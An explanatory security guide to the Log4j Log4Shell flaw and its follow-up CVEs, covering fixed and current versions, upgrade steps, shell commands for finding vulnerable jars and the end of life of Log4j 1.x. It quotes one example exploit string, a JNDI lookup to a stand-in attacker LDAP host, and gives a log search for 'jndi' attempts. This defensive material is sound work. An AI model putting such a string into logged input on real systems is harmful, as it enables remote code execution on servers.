Apache Log4j: Log4Shell, fixed versions and finding old jars
Apache Log4j is the logging library inside a huge number of Java applications. In December 2021 a flaw called Log4Shell (CVE-2021-44228) let attackers run code on servers just by getting a crafted string logged. As of November 2026, the fix is simple: run Log4j 2.25.5 or 2.26.1 or later, and remove every copy of Log4j 1.x.
What Log4j is
Log4j 2 is a Java logging framework. It has two main parts, shipped as separate jar files:
- log4j-api: the interface your code calls, such as
logger.info("User {} logged in", name). - log4j-core: the implementation that formats the messages and writes them to files, the console, syslog, databases or message brokers. Each destination is an appender; the text format is a layout.
This split matters for security: Log4Shell and its follow-ups were all in log4j-core. The project states that applications using only log4j-api without log4j-core were not affected. There are also bridges, for example log4j-slf4j2-impl, that route other logging APIs into Log4j Core. Log4j 2 needs at least Java 8.
Log4j 1.x is a different, much older library (package org.apache.log4j, last release 1.2.17). Log4j 2 was rewritten from scratch with a new package name and a new configuration format.
Log4Shell in plain words
Log4j 2 supports lookups: placeholders like ${env:HOME} that are filled in when a message is formatted. One lookup type used JNDI, a Java feature that can fetch objects from a remote directory server such as LDAP. In affected versions, lookups were also evaluated inside the logged message itself. So if an application logged anything an attacker controlled, such as a user-agent header, a username or a chat message, the attacker could send a string like ${jndi:ldap://attacker.example/x}. Log4j would contact that server and could load and run code from it.
That is why it rated 10.0, the maximum CVSS score: no login needed, easy to trigger, and full code execution. Many products embed Log4j without the operator knowing, which made it hard to find every copy.
The four 2021 CVEs and fixed versions
The first fix (2.15.0) was followed within weeks by three more. The table uses the fixed versions from the Apache Logging Services security page. Separate fixed versions exist for old Java runtimes.
| CVE | CVSS 3.1 | What it is | Fixed in (Java 8+ / Java 7 / Java 6) |
|---|---|---|---|
| CVE-2021-44228 (Log4Shell) | 10.0 Critical | JNDI lookup in log messages runs code from an attacker's LDAP server | 2.15.0 / 2.12.2 / 2.3.1 |
| CVE-2021-45046 | 9.0 Critical | The 2.15.0 fix was incomplete: with a non-default pattern using Thread Context lookups such as $${ctx:loginId}, attackers could still reach JNDI | 2.16.0 / 2.12.3 / 2.3.1 |
| CVE-2021-45105 | 5.9 Medium | Self-referential lookups cause infinite recursion and crash the process (denial of service) | 2.17.0 / 2.12.3 / 2.3.1 |
| CVE-2021-44832 | 6.6 Medium | An attacker who can edit the logging configuration can use a JDBC appender with a JNDI data source to run code | 2.17.0 / 2.12.3 / 2.3.1 |
One detail is inconsistent on the project's own pages. For CVE-2021-44832 the security page lists 2.17.0, 2.12.3 and 2.3.1 as fixed, but the release notes say that 2.17.1 (December 27, 2021) is the release that addresses CVE-2021-44832, and the maintenance table lists 2.12.4 and 2.3.2 as the final Java 7 and Java 6 releases. If you are stuck on an old line, take the newest release of that line (2.12.4 or 2.3.2), not the minimum shown in the table.
Versions earlier than these, back to 2.0-beta9 for Log4Shell, are affected. Do not aim for these minimum versions today. There have been later Log4j fixes too (see below), so move to a current release.
Current versions
- 2.26.1latest release, June 29, 2026
- 2.25.5latest 2.25.x patch, July 1, 2026
- Java 8minimum for Log4j 2
- August 5, 2015Log4j 1.x end of life
As of November 2026, the download page offers 2.26.1. The 2.26.x line is in active development and 2.25.x is in active maintenance; Log4j 3.0.0 is still in beta (3.0.0-beta3). The 2.12.x line (last release 2.12.4) was the last for Java 7, and 2.3.x (last release 2.3.2) the last for Java 6. Both have been out of maintenance since December 29, 2021.
Recent Log4j 2 advisories are smaller than Log4Shell, but real. Several medium-severity issues were fixed in 2.25.4 (March 28, 2026), including TLS host-name checks and broken JSON, XML and syslog output. CVE-2026-49844 was fixed in 2.25.5 and 2.26.1.
How to upgrade
With Maven, import the Log4j BOM so all Log4j modules stay on the same version, then list modules without versions:
<dependencyManagement>
<dependencies>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-bom</artifactId>
<version>2.26.1</version>
<scope>import</scope>
<type>pom</type>
</dependency>
</dependencies>
</dependencyManagement>
With Gradle:
dependencies {
implementation platform('org.apache.logging.log4j:log4j-bom:2.26.1')
}
The BOM also overrides old versions pulled in by other libraries. Rebuild, redeploy, and check the result with the commands below. For commercial products that bundle Log4j, you cannot fix the jar yourself in a supported way: install the vendor's update and read their advisory.
Find vulnerable jars today
Old copies hide in forgotten apps, vendor appliances, backup folders and container images. Search in several ways.
1. Search the file system
sudo find / -xdev \( -name 'log4j-core-*.jar' -o -name 'log4j-1.2*.jar' \) 2>/dev/null
A file name like log4j-core-2.14.1.jar tells you the version directly. -xdev stays on one file system; run it again for other mounts.
2. Look inside WAR, EAR and "fat" jars
Applications often bundle Log4j inside another archive (WEB-INF/lib/) or merge its classes into one big jar, so the file name search misses it. This loop lists archives that contain a Log4j Core jar or its classes:
sudo find / -xdev -type f \( -name '*.jar' -o -name '*.war' -o -name '*.ear' \) -print0 2>/dev/null |
while IFS= read -r -d '' f; do
if unzip -l "$f" 2>/dev/null | grep -Eq 'log4j-core-[0-9][^/]*\.jar|org/apache/logging/log4j/core/'; then
echo "$f"
fi
done
For a hit that holds the classes directly, read the bundled version (merged jars may not keep this file, so treat "nothing found" as unknown, not safe):
unzip -p app.jar META-INF/maven/org.apache.logging.log4j/log4j-core/pom.properties
3. Ask the build tool
mvn dependency:tree -Dincludes=org.apache.logging.log4j
./gradlew dependencyInsight --dependency log4j-core --configuration runtimeClasspath
Also search for Log4j 1: mvn dependency:tree -Dincludes=log4j:log4j.
4. Check packages and images
dpkg -l | grep -i log4j # Debian/Ubuntu
rpm -qa | grep -i log4j # RHEL/Fedora/openSUSE
For containers, scan images with a software composition or SBOM scanner in your CI pipeline. Each Log4j artifact ships with its own Software Bill of Materials (SBOM), which these tools can read.
5. Look for past attempts
Exploit strings were often obfuscated, so this only finds the simple ones, but it is a quick check on a web server:
sudo zgrep -i 'jndi' /var/log/apache2/access.log* # Debian/Ubuntu
sudo zgrep -i 'jndi' /var/log/httpd/access_log* # RHEL/Fedora
Hits only mean someone tried. If a vulnerable Java app was reachable at that time, follow our compromised site checklist. The Apache httpd server itself is written in C and does not use Log4j; the risk is Java applications behind it, such as apps on Tomcat.
Log4j 1.x: end of life
Log4j 1 has had no fixes since 2015. The Logging Services project announced its end of life on August 5, 2015. Vulnerabilities reported against it after August 2015 are not checked and will not be fixed.
Log4j 1 has no lookups, so Log4Shell itself does not apply. It has its own unfixed holes, listed on the 1.x site: CVE-2019-17571 (SocketServer deserialization), CVE-2021-4104 (JMSAppender via JNDI), CVE-2022-23302 (JMSSink), CVE-2022-23305 (SQL injection in JDBCAppender) and CVE-2022-23307 (Chainsaw). It also breaks on Java 9 and later in some areas, such as the MDC.
What to do:
- Find every
log4j:log4jdependency (step 3 above). - Migrate your own code to the Log4j 2 API, or to another maintained logging API.
- Convert
log4j.propertiesorlog4j.xmlinto a Log4j 2 configuration. - If a third-party library still calls the Log4j 1 API, the
log4j-1.2-apibridge can route its calls to Log4j 2 for now. The project calls the bridge deprecated and says it will not be in Log4j 3, so treat it as temporary.
The migration guide notes that some libraries depend on ch.qos.reload4j:reload4j, a separate fork of Log4j 1, in place of log4j:log4j. Search for both.
Keeping up
- Watch the Logging Services security page; it lists every Log4j, Log4cxx and Log4net CVE with affected and fixed versions.
- Upgrade to the newest 2.x patch release in your build at least every few months, not only after a crisis.
- Do not let untrusted data into logger names, format strings or configuration. The project's threat model treats those as trusted input from developers and operators.
- Report new issues privately to the Logging Services security team, with
[SECURITY]at the start of the subject line.